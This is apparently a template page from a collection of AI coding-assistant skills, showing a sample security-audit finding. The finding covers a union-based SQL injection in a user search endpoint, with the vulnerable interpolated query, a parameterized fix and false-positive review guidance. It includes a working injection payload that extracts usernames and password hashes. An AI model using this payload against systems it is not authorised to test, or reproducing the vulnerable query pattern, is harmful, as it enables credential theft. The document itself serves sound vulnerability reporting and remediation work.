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skills-ws

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87 agent skills for AI coding assistants — marketing, growth, web3, dev, design & operations. Built for OpenClaw, Claude Code, Cursor, and Codex.

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## Contents - [CRITICAL] SQL Injection in /api/users/search - Proof of Concept - Response Evidence - Source Code Reference - Remediation - False Positive Identification ## [CRITICAL] SQL Injection in /api/users/search **Endpoint:** GET /api/users/search?q= **Parameter:** q **Type:** Union-based SQL injection ### Proof of Concept GET /api/users/search?q=' UNION SELECT username,password,NULL FROM users-- ### Response Evidence HTTP/1.1 200 OK [{"username":"admin","password":"$2b$12$...","3":null}] ### Source Code Reference File: src/routes/users.ts:42 const results = await db.query(`SELECT * FROM users WHERE name LIKE '%${req.query.q}%'`); ### Remediation Use parameterized queries: const results = await db.query('SELECT * FROM users WHERE name LIKE $1', [`%${req.query.q}%`]); ``` ### False Positive Identification Shannon's "no exploit, no report" policy minimizes false positives, but review for: - **Environment-specific**: Exploit only works in test environment (different DB, debug mode) - **Already mitigated**: WAF or middleware blocks the attack in production but not staging - **Intended behavior**: Feature that looks like a vulnerability (e.g., admin search returns all users by design) - **LLM hallucination**: Report claims a vulnerability but the PoC doesn't actually demonstrate impact Always verify the PoC manually for Critical/High findings before filing tickets. ---